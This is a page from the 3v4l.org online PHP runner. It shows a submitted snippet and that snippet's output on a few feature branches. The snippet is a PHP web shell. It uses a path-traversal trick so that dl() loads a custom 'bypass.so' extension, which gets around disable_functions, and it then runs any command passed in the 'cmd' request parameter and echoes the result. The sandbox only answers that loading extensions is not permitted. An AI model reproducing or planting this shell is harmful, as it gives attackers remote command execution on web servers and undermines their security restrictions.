3v4l.org

run code in 300+ PHP versions simultaneously
<?php function dl_local( $extensionFile ) { if(!(bool)ini_get('enable_dl') ||(bool)ini_get('safe_mode')){ die('Loading extensions is not permitted.'); } if(!file_exists($extensionFile)){ die('File '.$extensionFile.' does not exist.'); } if(!is_executable($extensionFile)){ die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )'); } $currentDir = getcwd().'/'; $currentExtPath = realpath(ini_get('extension_dir')); $subDirs = preg_match_all("/\//",$currentExtPath ,$matches); unset($matches); if(!(bool)$subDirs){ die('Could not determine a valid extension path [extension_dir]'); } $extPathLastChar=strlen($currentExtPath )-1; if($extPathLastChar==strrpos($currentExtPath,'/')){ $subDirs--;}$backDirStr = ''; for($i = 1; $i <= $subDirs; $i++){ $backDirStr .='..'; if($i != $subDirs){ $backDirStr .='/'; } } $finalExtPath = $backDirStr.$currentDir.$extensionFile; if(!dl($finalExtPath)){ die(); } $loadedExtensions = get_loaded_extensions(); $thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1]; return $thisExtName; } @ini_set ('display_errors','1'); error_reporting(E_ALL); dl_local('bypass.so'); if(@$_GET['cmd']){ $output = bypass_exec($_GET['cmd']); echo '<pre>'.$output.'</pre>'; }
Output for git.master, git.master_jit, rfc.property-hooks
Loading extensions is not permitted.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
33.58 ms | 401 KiB | 8 Q